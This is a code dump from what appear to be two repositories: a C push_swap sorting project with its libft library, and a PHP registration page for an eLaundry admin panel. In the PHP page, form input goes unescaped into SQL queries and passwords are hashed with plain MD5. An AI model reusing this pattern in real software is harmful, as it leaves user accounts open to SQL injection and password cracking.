*/ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/07/09 23:21:44 by ngamora #+# #+# */ /* Updated: 2021/07/15 19:35:52 by ngamora ### ########.fr */ /* */ /* ************************************************************************** */ #include "str_array.h" char **str_array_add_back(char **str_array[], const char *str) { char **new; int i; int old_size; old_size = str_array_size((const char **)(*str_array)); new = ft_calloc(old_size + 2, sizeof(char *)); if (!new) return (str_array_free(str_array)); i = 0; while (i < old_size) { new[i] = (char *)(*str_array)[i]; i++; } new[i] = ft_strdup(str); if (!new[i]) return (str_array_free(str_array)); new[i + 1] = NULL; free(*str_array); *str_array = new; return (new); } <file_sep>NAME := push_swap CC = gcc -g CFLAGS = -Wall -Wextra -Werror OBJDIR = objs SRCDIR = src SRC := check_args.c\ main.c\ rab.c\ init_stack.c\ print.c\ sab.c\ ss.c\ rrab.c\ rrr.c\ pab.c\ qsort.c\ input.c\ ft_sort.c\ rr.c\ ft_light_sort.c\ ft_buble_sort.c\ all_sorted.c\ sort_three.c\ sort_five.c\ ft_min_max.c SRC := $(addprefix $(SRCDIR)/, $(SRC)) OBJ = $(patsubst $(SRCDIR)/%, $(OBJDIR)/%, $(SRC:.c=.o)) all: $(NAME) LIBFT := libft.a $(LIBFT) : @$(MAKE) full -C libft/ @mv libft/$(LIBFT) . $(NAME): $(OBJ) $(LIBFT) $(CC) $(CFLAGS) $(OBJ) -o $(NAME) $(LIBFT) $(OBJ): |$(OBJDIR) $(OBJDIR): @mkdir $(OBJDIR) $(OBJDIR)/%.o: $(SRCDIR)/%.c ./includes/pushswap.h $(LIBFT) $(CC) $(CFLAGS) -I ./includes -c $< -o $@ clean: @rm -rf $(OBJDIR) fclean: clean @rm -f $(NAME) re: fclean all .PHONY: all clean fclean re leak: export MallocStackLoggingNoCompact=1 valg: valgrind --leak-check=full norm: norminette $(SRC) pushswap.h libft/ add: git add $(SRC) pushswap.h libft/<file_sep># **************************************************************************** # # # # ::: :::::::: # # Makefile :+: :+: :+: # # +:+ +:+ +:+ # # By: ngamora <<EMAIL>> +#+ +:+ +#+ # # +#+#+#+#+#+ +#+ # # Created: 2020/11/15 17:57:46 by ngamora #+# #+# # # Updated: 2021/07/10 01:10:54 by ngamora ### ########.fr # # # # **************************************************************************** # NAME = libft.a CC = gcc CC_FLAGS = -Wall -Wextra -Werror SRCS = ft_memset.c \ ft_bzero.c \ ft_memcpy.c \ ft_memccpy.c \ ft_memmove.c \ ft_memchr.c \ ft_memcmp.c \ ft_strlen.c \ ft_isalpha.c \ ft_isdigit.c \ ft_isalnum.c \ ft_isascii.c \ ft_isprint.c \ ft_toupper.c \ ft_tolower.c \ ft_strchr.c \ ft_strrchr.c \ ft_strncmp.c \ ft_strlcpy.c \ ft_strncpy.c \ ft_strlcat.c \ ft_strnstr.c \ ft_atoi.c \ ft_calloc.c \ ft_strdup.c \ ft_substr.c \ ft_strjoin.c \ ft_strtrim.c \ ft_split.c \ ft_itoa.c \ ft_strmapi.c \ ft_putchar_fd.c \ ft_putstr_fd.c \ ft_putendl_fd.c \ ft_putnbr_fd.c \ ft_putnstr_fd.c \ ft_abs.c \ ft_llitoa.c \ ft_itoa_base.c \ ft_strupcase.c \ ft_strcmp.c \ ft_str_is_empty.c \ ft_lli_len.c \ ft_is_whitespace.c SRCS_VEC = ft_vec/ft_vec_new.c \ ft_vec/ft_vec_push.c \ ft_vec/ft_vec_free.c \ $(SRCS) SRCS_STR_ARRAY = str_array/str_array_sort.c \ str_array/str_array_size.c \ str_array/str_array_free.c \ str_array/str_array_copy.c \ str_array/str_array_add_back.c \ str_array/str_array_erase.c \ $(SRCS) SRCS_LIST = ft_list/ft_lstnew.c \ ft_list/ft_lstadd_front.c \ ft_list/ft_lstsize.c \ ft_list/ft_lstlast.c \ ft_list/ft_lstadd_back.c \ ft_list/ft_lstclear.c \ ft_list/ft_lstdelone.c \ ft_list/ft_lstiter.c \ ft_list/ft_lstmap.c \ ft_list/ft_lst_to_array.c \ $(SRCS) OBJS_DIR = objs/ OBJS = $(notdir $(SRCS:.c=.o)) OBJS_PATH = $(addprefix $(OBJS_DIR), $(OBJS)) OBJS_VEC = $(notdir $(SRCS_VEC:.c=.o)) OBJS_VEC_PATH = $(addprefix $(OBJS_DIR), $(OBJS_VEC)) OBJS_LIST = $(notdir $(SRCS_LIST:.c=.o)) OBJS_LIST_PATH = $(addprefix $(OBJS_DIR), $(OBJS_LIST)) OBJS_STR_ARRAY = $(notdir $(SRCS_STR_ARRAY:.c=.o)) OBJS_STR_ARRAY_PATH = $(addprefix $(OBJS_DIR), $(OBJS_STR_ARRAY)) $(OBJS_DIR)%.o : %.c libft.h @mkdir -p $(OBJS_DIR) @echo "\033[1;31m- Done :\033[0m $<" @$(CC) $(CC_FLAGS) -c $< -o $@ $(OBJS_DIR)%.o : ft_vec/%.c libft.h @mkdir -p $(OBJS_DIR) @echo "\033[1;31m- Done :\033[0m $<" @$(CC) $(CC_FLAGS) -c $< -o $@ $(OBJS_DIR)%.o : ft_list/%.c libft.h @mkdir -p $(OBJS_DIR) @echo "\033[1;31m- Done :\033[0m $<" @$(CC) $(CC_FLAGS) -c $< -o $@ $(OBJS_DIR)%.o : str_array/%.c str_array/str_array.h @mkdir -p $(OBJS_DIR) @echo "\033[1;31m- Done :\033[0m $<" @$(CC) $(CC_FLAGS) -c $< -o $@ $(NAME): $(OBJS_PATH) @ar r $(NAME) $(OBJS_PATH) @echo "\033[1;31;42m=====LIBFT IS COMPLETED======\033[0m" all: $(NAME) clean: rm -Rf $(OBJS_DIR) fclean: clean rm -f $(NAME) re: fclean all vec: $(OBJS_VEC_PATH) @ar r $(NAME) $(OBJS_VEC_PATH) @echo "\033[1;31;42m=====LIBFT WITH VEC IS COMPLETED======\033[0m" list: $(OBJS_LIST_PATH) @ar r $(NAME) $(OBJS_LIST_PATH) @echo "\033[1;31;42m=====LIBFT WITH LIST IS COMPLETED======\033[0m" str_array: $(OBJS_STR_ARRAY_PATH) @ar r $(NAME) $(OBJS_STR_ARRAY_PATH) @echo "\033[1;31;42m=====LIBFT WITH STR_ARRAY IS COMPLETED======\033[0m" full: @make list vec str_array .PHONY : $(NAME) all clean fclean re vec list <file_sep>/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_strtrim.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: ngamora <<EMAIL>> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2020/11/14 16:25:12 by ngamora #+# #+# */ /* Updated: 2021/07/14 16:44:30 by ngamora ### ########.fr */ /* */ /* ************************************************************************** */ #include "libft.h" int ft_char_in_set(const char *set, char c) { int i; if (!set) return (0); i = 0; while (set[i]) { if (set[i] == c) return (1); i++; } return (0); } static int ft_strtrim_size(char const *s1, char const *set, int *start, int *end) { int size; int i; size = 0; i = 0; while (s1[i] && ft_char_in_set(set, s1[i])) { size++; i++; } *start = i; if (!s1[i]) { *start = -1; return (ft_strlen(s1) - size); } i = ft_strlen(s1) - 1; while (i > -1 && ft_char_in_set(set, s1[i])) { size++; i--; } *end = i; return (ft_strlen(s1) - size); } char *ft_strtrim(char const *s1, char const *set) { int start; int end; if (!s1) return (NULL); if (!set) return ((char *)s1); ft_strtrim_size(s1, set, &start, &end); if (start == -1) return (ft_substr(s1, 0, 0)); return (ft_substr(s1, start, end - start + 1)); } <file_sep>/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* str_array_erase.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: ngamora <<EMAIL>> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/07/10 00:59:10 by ngamora #+# #+# */ /* Updated: 2021/07/15 18:14:56 by ngamora ### ########.fr */ /* */ /* ************************************************************************** */ #include "str_array.h" static char **str_array_erase_utils(char **str_array[], char *new[], int pos, int old_size) { int i; int flag; flag = 0; i = -1; while (++i < old_size) { if (i != pos) { new[i - flag] = (*str_array)[i]; if (!new[i - flag]) { str_array_free(str_array); return (NULL); } } else { free((*str_array)[i]); flag = 1; } } new[i - flag] = NULL; return (new); } char **str_array_erase(char **str_array[], int pos) { char **new; int old_size; if (!str_array) return (NULL); old_size = (int)str_array_size((const char **)(*str_array)); if (pos >= old_size) return (NULL); new = (char **)ft_calloc(old_size, sizeof(char *)); if (!new) return (NULL); if (!str_array_erase_utils(str_array, new, pos, old_size)) return (NULL); free(*str_array); *str_array = new; return (new); } <file_sep>/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* str_array.h :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: ngamora <<EMAIL>> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/07/09 23:13:23 by ngamora #+# #+# */ /* Updated: 2021/07/15 19:47:23 by ngamora ### ########.fr */ /* */ /* ************************************************************************** */ #ifndef STR_ARRAY_H # define STR_ARRAY_H # include "../libft.h" # include <stdlib.h> char **str_array_free(char **str_array[]); size_t str_array_size(const char *str_array[]); char **str_array_sort(char *str_array[]); char **str_array_copy(const char *str_array[]); char **str_array_add_back(char **str_array[], const char *str); char **str_array_erase(char **str_array[], int pos); #endif <file_sep>/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* qsort.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: skharjo <<EMAIL>> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/07/29 18:05:19 by skharjo #+# #+# */ /* Updated: 2021/07/29 18:05:21 by skharjo ### ########.fr */ /* */ /* ************************************************************************** */ #include "pushswap.h" void quick_sort_proc(int *numbers, int *left, int *right, int pivot) { while (*left < *right) { while ((numbers[*right] >= pivot) && (*left < *right)) (*right)--; if (*left != *right) { numbers[*left] = numbers[*right]; (*left)++; } while ((numbers[*left] <= pivot) && (*left < *right)) (*left)++; if (*left != *right) { numbers[*right] = numbers[*left]; (*right)--; } } } void quick_sort(int *numbers, int left, int right) { int pivot; int l_hold; int r_hold; pivot = numbers[left]; l_hold = left; r_hold = right; quick_sort_proc(numbers, &left, &right, pivot); numbers[left] = pivot; pivot = left; left = l_hold; right = r_hold; if (left < pivot) quick_sort(numbers, left, pivot - 1); if (right > pivot) quick_sort(numbers, pivot + 1, right); } <file_sep>/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* pushswap.h :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: skharjo <<EMAIL>> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/07/29 18:05:14 by skharjo #+# #+# */ /* Updated: 2021/08/06 17:42:56 by skharjo ### ########.fr */ /* */ /* ************************************************************************** */ #ifndef PUSHSWAP_H # define PUSHSWAP_H # include "../libft/libft.h" typedef struct s_stack { int *arr; int size; } t_stack; typedef struct s_sizes { int max_num; int max_bits; int size; } t_sizes; int check_args(char *arr); void rab(t_stack *a, char ch); void init_stacks(char **argv, t_stack *a, t_stack *b); void rab(t_stack *a, char ch); void sa(t_stack *a); void ss(t_stack *a, t_stack *b); void sab(t_stack *a, char ch); void print(t_stack a); void rrab(t_stack *a, char ch); void rrr(t_stack *a, t_stack *b); void pab(t_stack *a, t_stack *b, char ch); void quick_sort(int *numbers, int left, int right); void input(t_stack *a); void ft_sort(t_stack *a, t_stack *b); void rr(t_stack *a, t_stack *b); int duplicate(t_stack a); void ft_light_sort(t_stack *a, t_stack *b); int all_sorted(t_stack *a); void ft_buble_sort(int *arr, int size); void copy(int *a, int *new, int size); void sort_three(t_stack *a); void sort_five(t_stack *a, t_stack *b); void sort_four(t_stack *a, t_stack *b); void replace_vol(t_stack *rp, t_stack *a); void sort_four(t_stack *a, t_stack *b); int ft_max(t_stack *a); int ft_min(t_stack *a); #endif <file_sep>/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_split.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: ngamora <<EMAIL>> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2020/11/14 16:32:28 by ngamora #+# #+# */ /* Updated: 2021/07/14 16:38:19 by ngamora ### ########.fr */ /* */ /* ************************************************************************** */ #include "libft.h" static int ft_count_words(char const *s, char c) { int count; int i; count = 0; i = 0; while (s[i]) { if (s[i] != c) { count++; while (s[i] && s[i] != c) i++; } else i++; } return (count); } static int ft_word_len(char const *s, char c, int i) { int word_len; word_len = 0; while (s[i] && s[i] != c) { word_len++; i++; } return (word_len); } static void ft_free_split(char **split) { int i; i = 0; while (split[i]) { free(split[i]); i++; } free(split); } static char **ft_fill_split(char const *s, char c, char **split) { int i; int row; int word_len; i = 0; row = 0; while (s[i]) { if (s[i] != c) { word_len = ft_word_len(s, c, i); split[row] = ft_substr(s, i, word_len); if (!split[row]) { ft_free_split(split); return (NULL); } i += word_len; row++; } else i++; } split[row] = NULL; return (split); } char **ft_split(char const *s, char c) { char **split; int qty_words; if (!s) return (NULL); qty_words = ft_count_words(s, c); split = ft_calloc(qty_words + 1, sizeof(char *)); if (!split) return (NULL); ft_fill_split(s, c, split); return (split); } <file_sep>/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* check_args.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: skharjo <<EMAIL>> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/07/29 18:04:20 by skharjo #+# #+# */ /* Updated: 2021/07/29 18:04:24 by skharjo ### ########.fr */ /* */ /* ************************************************************************** */ #include "pushswap.h" static int over_flow(char *line) { int num; int tmp; num = 0; if (!ft_strcmp("-2147483648", line)) return (0); if (*line == '-' || *line == '+') line++; while (*line >= '0' && *line <= '9') { tmp = num; num = num * 10 + (*line - 48); if (tmp > num) return (1); line++; } return (0); } static int is_digit(char *line) { int count; count = 0; if (line[0] == '-' || line[0] == '+') line++; while (*line) { if (!ft_isdigit(*line)) return (1); line++; count++; } if (count == 0) return (1); return (0); } int duplicate(t_stack a) { int i; int j; i = 0; while (i < a.size) { j = i + 1; while (j < a.size) { if (a.arr[j] == a.arr[i]) return (1); j++; } i++; } return (0); } int check_args(char *arr) { if (is_digit(arr)) { ft_putendl_fd("Error", 2); exit(EXIT_FAILURE); } if (over_flow(arr)) { ft_putendl_fd("Error", 2); exit(EXIT_FAILURE); } return (0); } <file_sep>/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_vec_push.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: ngamora <<EMAIL>> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/01/27 00:08:40 by nforce #+# #+# */ /* Updated: 2021/07/14 16:49:34 by ngamora ### ########.fr */ /* */ /* ************************************************************************** */ #include "../ft_vec.h" static t_vec *ft_vec_realloc(t_vec *vec) { void **new; int i; if (!vec) return (NULL); new = ft_calloc(vec->capacity * 2, sizeof(void *)); if (!new) { i = -1; while (++i < (int)vec->size) free((vec->data)[i]); free(vec->data); errno = ENOMEM; return (NULL); } i = 0; while (i < (int)vec->size) { new[i] = (vec->data)[i]; i++; } free(vec->data); vec->data = new; vec->capacity *= 2; return (vec); } t_vec *ft_vec_push(t_vec **vec, void *new) { if (!vec) return (NULL); if ((*vec)->size < (*vec)->capacity) ((*vec)->data)[(*vec)->size] = new; else { if (!ft_vec_realloc(*vec)) return (NULL); ((*vec)->data)[(*vec)->size] = new; } (*vec)->size++; return (*vec); } <file_sep>/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_itoa.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: ngamora <<EMAIL>> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2020/11/14 16:48:07 by ngamora #+# #+# */ /* Updated: 2021/07/14 16:32:39 by ngamora ### ########.fr */ /* */ /* ************************************************************************** */ #include "libft.h" static int ft_ilen(int n) { int str_len; if (n == 0) return (1); str_len = 0; if (n < 0) str_len++; while (n) { str_len++; n /= 10; } return (str_len); } static char *ft_itoa_min(void) { char *str; str = ft_calloc(12, sizeof(char)); ft_strlcpy(str, "-2147483648", 12); if (!str) return (NULL); return (str); } char *ft_itoa(int n) { char *str; int str_len; int negative_flag; if (n == -2147483648) return (ft_itoa_min()); str_len = ft_ilen(n); str = ft_calloc(sizeof(char), str_len + 1); if (!str) return (NULL); str[str_len] = '\0'; if (n < 0) { str[0] = '-'; n *= -1; negative_flag = 1; } else negative_flag = 0; while ((str_len--) - negative_flag) { str[str_len] = n % 10 + '0'; n /= 10; } return (str); }
e6bf6e941804a9c9b37a2505390a578d0cf49bab
[ "C", "Makefile" ]
13
C
Kvadrokom/Push_swap
e427e92d26b2ce1d4b0b934ed4229eaad4c82997
87fccfaacbc57ea7099b6e2a526a055e15d6b2e0
refs/heads/master
<repo_name>brhmcelen/fun-tsp-challenge<file_sep>/ryan_solution.py ''' Ryan's TSP solver. Run with: ipython ryan_solution.py data/tiny.csv bf ipython ryan_solution.py data/tiny.csv greedy ''' import sys import numpy as np from itertools import permutations from tsp_starter import read_cities, score_solution, \ create_figure, visualize_solution, \ euclidean def brute_force_tsp_solver(cities, new_best_callback): best_dist = float("inf") best_solution = None indicies = np.arange(1, len(cities)) # we'll force starting at city 0 for solution in permutations(indicies): solution = [0] + list(solution) # remember, we start at city 0 dist = score_solution(cities, solution) if dist < best_dist: best_dist = dist best_solution = solution new_best_callback(solution) return best_solution def greedy_tsp_solver(cities, new_piece_callback, start_index=0): path = [start_index] visited = {start_index} new_piece_callback(path) num_cities = len(cities) while len(visited) < num_cities: curr_city = path[-1] nearest_city = None nearest_city_dist = float('inf') for i, city in enumerate(cities): if i in visited: continue dist = euclidean(cities[curr_city], city) if dist < nearest_city_dist: nearest_city = i nearest_city_dist = dist path.append(nearest_city) visited.add(nearest_city) new_piece_callback(path) return path if __name__ == '__main__': if len(sys.argv) != 3: print('Usage: ipython {} <data_file_path> <bf|greedy>'.format(sys.argv[0])) sys.exit(1) data_file_path = sys.argv[1] algorithm = sys.argv[2] cities = read_cities(data_file_path) fig, axes = create_figure() if algorithm == 'bf': # Closure over cities, fig, and axes: def visualize_wrapper(solution, is_final=False): print(('FINAL SOLUTION:' if is_final else 'Best so far:'), \ score_solution(cities, solution), solution) visualize_solution(cities, solution, fig, axes, block=is_final) solution = brute_force_tsp_solver(cities, visualize_wrapper) visualize_wrapper(solution, True) elif algorithm == 'greedy': # Closure over cities, fig, and axes: def visualize_wrapper(solution, is_final=False): print(('FINAL SOLUTION:' if is_final else 'Best so far:'), solution) visualize_solution(cities, solution, fig, axes, block=is_final) best_score = float('inf') best_solution = None for start_index in range(len(cities)): solution = greedy_tsp_solver(cities, visualize_wrapper, start_index) visualize_wrapper(solution, False) score = score_solution(cities, solution) print('Score:', score) if score < best_score: best_score = score best_solution = solution visualize_wrapper(best_solution, True) else: print('Unknown algorithm') <file_sep>/data/make_data.py import numpy as np np.random.seed(123) def normal_points(n, x_region, y_region, x_stddev, y_stddev): x = np.random.normal(x_region, x_stddev, (n, 1)) y = np.random.normal(y_region, y_stddev, (n, 1)) return np.hstack((x, y)) def uniform_points(n, x_low, y_low, x_high, y_high): x = np.random.uniform(x_low, x_high, (n, 1)) y = np.random.uniform(y_low, y_high, (n, 1)) return np.hstack((x, y)) def make_tiny(): return normal_points(10, 0, 0, 1, 1) def make_small(): p1 = normal_points(10, 0, 0, 1, 1) p2 = normal_points(10, 5, 5, 1, 1) p3 = normal_points(10, -8, 15, 1, 1) data = np.vstack((p1, p2, p3)) np.random.shuffle(data) return data def make_medium(): return uniform_points(100, 0, 0, 1, 1) def make_large(): return uniform_points(1000, 0, 0, 1, 1) import matplotlib.pyplot as plt def visualize(data, ax): ax.scatter(data[:,0], data[:,1]) if __name__ == '__main__': tiny = make_tiny() small = make_small() medium = make_medium() large = make_large() np.savetxt('tiny.csv', tiny, delimiter=',') np.savetxt('small.csv', small, delimiter=',') np.savetxt('medium.csv', medium, delimiter=',') np.savetxt('large.csv', large, delimiter=',') fig, axes = plt.subplots(2, 2) visualize(tiny, axes[0,0]) visualize(small, axes[0,1]) visualize(medium, axes[1,0]) visualize(large, axes[1,1]) plt.show() <file_sep>/tsp_starter.py ''' TSP starter code. Make this your own! Run with: ipython tsp_starter.py ''' import numpy as np import matplotlib.pyplot as plt from scipy.spatial.distance import euclidean plt.ion() # turn interactive mode on def read_cities(filepath): ''' Load a TSP dataset. This function works for loading CSV files generated by the data/make_data.py script. ''' cities = np.loadtxt(filepath, delimiter=',') return cities def score_solution(cities, solution): ''' Calculate the total distance traveled by the given solution. This function scores a TSP solution by computing the total distance the salesperson would travel. Lower is better! The 'solution' array must contain indices into the 'cities' array. Also, the 'solution' array must visit each city exactly once! ''' if len(solution) != len(cities): raise Exception(('Invalid solution: len(solution) is {}, ' + \ 'but it should be {}.').format(len(solution), len(cities))) if set(solution) != set(range(len(cities))): raise Exception('Invalid solution: The solution does not ' + \ 'visit each city exactly once!') dist = 0.0 for i in range(len(solution)): p_prev = cities[solution[i-1]] p_here = cities[solution[i]] dist += euclidean(p_prev, p_here) return dist def create_figure(): ''' Creates a figure which `visualize_solution()` will draw onto. ''' fig, axes = plt.subplots(1, 2, figsize=(15, 7)) return fig, axes def visualize_solution(cities, solution, fig=None, axes=None, block=True): ''' Visualize the solution in a 2D plot. The 'cities' and 'solution' arguments are the same as to the `score_solution()` function. ''' dist = score_solution(cities, solution) if len(solution) == len(cities) else float('NaN') if fig is None or axes is None: fig, axes = create_figure() ax1, ax2 = axes fig.suptitle('Total Distance: {}'.format(dist), fontsize=20) ax1.clear() ax1.scatter(cities[:,0], cities[:,1]) if len(solution) == len(cities): path = np.hstack((solution, solution[0])) # <-- the salesperson has to return home! else: path = solution ax2.clear() ax2.plot(cities[path,0], cities[path,1]) ax2.scatter(cities[:,0], cities[:,1]) if block: while plt.fignum_exists(fig.number): plt.pause(0.001) else: plt.pause(0.001) def tsp_solver_silly(cities, new_best_solution_func = None): ''' This TSP solver is super silly. This solver simply randomizes several solutions then keeps the one which is best. ''' best_dist = float("inf") best_solution = None for i in range(1000): solution = np.arange(len(cities)) np.random.shuffle(solution) dist = score_solution(cities, solution) if dist < best_dist: best_dist = dist best_solution = solution if new_best_solution_func: new_best_solution_func(solution) return best_solution if __name__ == '__main__': cities = read_cities('data/tiny.csv') show_progress = False if not show_progress: solution = tsp_solver_silly(cities) visualize_solution(cities, solution) else: fig, axes = create_figure() # Closure over cities, fig, and axes: def visualize_wrapper(solution, is_final=False): print ('FINAL SOLUTION:' if is_final else 'Best so far:'), \ score_solution(cities, solution), solution visualize_solution(cities, solution, fig, axes, block=is_final) solution = tsp_solver_silly(cities, visualize_wrapper) visualize_wrapper(solution, True) <file_sep>/README.md # Fun TSP Challenge ### Purpose This challenge is intended to be fun, relaxed, and collaborative. Today you should just sit back, relax, share ideas, and simply enjoy the art of computer programming. ### What is TSP? The Traveling Salesperson Problem (TSP) is set up like this: > You are a salesperson, and you have a list of cities you want to visit. You wish to travel to each city exactly once then return home. What order should you visit the cities to minimize the total distance you travel? This is obviously a Graph Theory problem. We can model this problem as a graph where cities are nodes, and between every pair of cities there's a edge weighted by the distance between those cities. The path the salesperson will take is a cycle, so when posed as an optimization problem we don't actually care in which city the salesperson starts the cycle--the final solution is the same. Here is an example of a graph with the TSP solution drawn as a cycle through every node: ![TSP Example with Solution (ref: https://commons.wikimedia.org/wiki/File:GLPK_solution_of_a_travelling_salesman_problem.svg)](images/tsp_example.png) More reading (optional): - [Wikipedia: Traveling Salesman Problem](https://en.wikipedia.org/wiki/Travelling_salesman_problem) - [Wikipedia: NP-completeness](https://en.wikipedia.org/wiki/NP-completeness) ### The Challenge TSP is a tough problem. In fact, _tough_ doesn't adequately describe it. It's **so tough** that _literally_ no one yet knows if there's a "fast" algorithm which gives an optimal solution. (We define "fast" to mean that the algorithm runs in polynomial time.) Of course there _is_ a "slow" algorithm that gives an optimal solution. (Here we define "slow" to mean something beyond polynomial time, such as exponential time.) One slow algorithm goes like this: ``` best_path = None shortest_dist = infinity for each permutation p of the cities: interpret p as a path through the cities dist = the total distance traveled in path p if dist < shortest_dist: shortest_dist = dist best_path = p return best_path ``` Normally computers handle tons of data easily. We're accustomed to giving our computers millions or billions of datapoints and having them return results in a few seconds. But, that's not going to be the case with the algorithm above. For example, if you give that algorithm 15 cities, you'll have to wait a very long time to get an answer (several, several hours). And if you give that algorithm, say, a measly 20 cities, the algorithm will not finish running within your lifetime. We'll call the algorithm above the "brute-force" algorithm for TSP. ### Your Turn All is not lost with TSP. We can invent new algorithms which approximate the solution to TSP, giving "good enough" solutions. These algorithms are driven by heuristics which we can invent, and they will run quickly by design. Now it's your turn! Let's write some approximate TSP solvers. ### Toy Datasets We'll assume the salesperson lives in a boring, flat, 2D Cartesian plane, and that each city can be described simply as existing at a single (x, y) location. Each datafile describes some number of cities, one city per line in the file, where each city has a index (first city is index-0) and a location. I've provided four toy datasets for you to play with. #### Tiny Dataset [data/tiny.csv](data/tiny.csv) This dataset contains only 10 cities. Hint: This dataset is small enough that you can write a [brute-force algorithm](https://en.wikipedia.org/wiki/Brute-force_search) to find the optimal solution. #### Small Dataset [data/small.csv](data/small.csv) This dataset contains 30 cities, clustered into 3 regions. Hint: Find local optimal solutions within each region, then combine those local solutions intelligently. (Of course first you have to find the regions, either by visualizing the data and/or via a clustering algorithm like [k-means](https://en.wikipedia.org/wiki/K-means_clustering).) #### Medium Dataset [data/medium.csv](data/medium.csv) This dataset contains 100 cities. Hint: Start with a [greedy algorithm](https://en.wikipedia.org/wiki/Greedy_algorithm), then have your program iteratively (and randomly) improve upon the solution found by the greedy algorithm. #### Large Dataset [data/large.csv](data/large.csv) This dataset contains 1,000 cities. Hint: Best of luck. :) ### Starter Code I've provided you with some starter code that will help you read the data and score your TSP solutions. Have look at [tsp_starter.py](tsp_starter.py). ### Enjoy the Craft It's time for you to get to programming. This is your chance to chill out and enjoy the craft. [Build your castles.](https://gist.github.com/acu192/44582a272508c69541867f371490df25)
893249f83cabc9cb61dc9d7a78e24b44d6c5765d
[ "Markdown", "Python" ]
4
Python
brhmcelen/fun-tsp-challenge
ecce33fddcefc492edc5a04d7a4714e36d0800f7
ba818872a249ac04b2e88c22323996a686359a03
refs/heads/master
<repo_name>Gsak3l/react-redux-task-manager<file_sep>/src/App.js import React from "react"; import { connect } from "react-redux"; import "../node_modules/bootstrap/dist/css/bootstrap.min.css"; import TasksPage from "./components/TasksPage"; import { editTask } from "./actions"; function App(props) { const onStatusChange = (id, status) => { props.dispatch(editTask(id, { status })); }; return ( <div className="App"> <TasksPage tasks={props.tasks} /> </div> ); } const mapStateToProps = (state) => { return { tasks: state.tasks, }; }; export default connect(mapStateToProps)(App); <file_sep>/src/actions/index.js import { EDIT_TASK } from "./types"; export const editTask = (id, params = {}) => { return { type: EDIT_TASK, payload: { id, params, } } }; <file_sep>/src/components/TasksList.js import React from "react"; import Task from "./Task"; const TasksList = (props) => { return ( <div> <div className="card-header text-uppercase text-center font-weight-bold"> {props.status} </div> {props.tasks.map((task) => ( <Task key={task.id} task={task} onStatusChange={props.onStatusChange}/> ))} </div> ); }; export default TasksList; <file_sep>/src/actions/types.js export const EDIT_TASK = "EDIT_TASK";
89c1245b570afab683f7213eca7f1571b7ae45d7
[ "JavaScript" ]
4
JavaScript
Gsak3l/react-redux-task-manager
0fc2eb9c4230b7ed5185b32337b6a1fac8c69ef9
9c6a23a36d3a691e084ad2386bf32711dec95eae
refs/heads/master
<file_sep><?php session_start(); error_reporting(0); include('include/dbconnection.php'); if(isset($_POST['register'])) { $fname=$_POST['fullname']; $usrname=$_POST['usrname']; $mobno=$_POST['mobilenumber']; $email=$_POST['email']; $password=md5($_POST['password']); $ret=mysqli_query($con, "select Email from tbladmin where Email='$email'"); $result=mysqli_fetch_array($ret); if($result>0){ $msg="This email already associated with another account"; } else{ $query=mysqli_query($con, "insert into tbladmin(AdminName, UserName, MobileNumber, Email, Password) value('$fname', '$usrname', '$mobno', '$email', '$password' )"); if ($query) { $msg="You have successfully registered"; } else { $msg="Something Went Wrong. Please try again"; } } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>UNIMAS eLaundry User - Registration</title> <!-- Custom fonts for this template--> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <!-- Custom styles for this template--> <link href="css/sb-admin.css" rel="stylesheet"> </head> <body style="background-image: url(../background.jpg); background-position: center center; background-repeat: no-repeat; background-attachment: absolute; background-size: cover;height: 100vh;"> <div class="container"> <div class="card card-login mx-auto mt-5"> <div class="card-header">eLaundry || Provider Registration</div> <div class="card-body"> <p style="font-size:16px; color:red" align="center"> <?php if($msg){ echo $msg; } ?> </p> <form class="form-horizontal" action="" name="login" method="post"> <div class="form-group"> <div class="form-label-group"> <input type="text" id="fullname" name="fullname" class="form-control" required="required" > <label for="inputEmail">Full Name</label> </div> </div> <div class="form-group"> <div class="form-label-group"> <input type="text" id="usrname" name="usrname" class="form-control" required="required" > <label for="usrname">Username</label> </div> </div> <div class="form-group"> <div class="form-label-group"> <input type="email" id="email" name="email" class="form-control" required="required" > <label for="inputEmail">Email</label> </div> </div> <div class="form-group"> <div class="form-label-group"> <input type="text" id="mobilenumber" name="mobilenumber" maxlength="10" class="form-control" required="required" > <label for="inputEmail">Mobile Number</label> </div> </div> <div class="form-group"> <div class="form-label-group"> <input type="<PASSWORD>" id="<PASSWORD>" name="password" class="form-control" required="required"> <label for="inputPassword">Password</label> </div> </div> <input type="submit" name="register" class="btn btn-primary btn-block" value="Register"> </form> <div class="text-center"> <a class="d-block small mt-3" 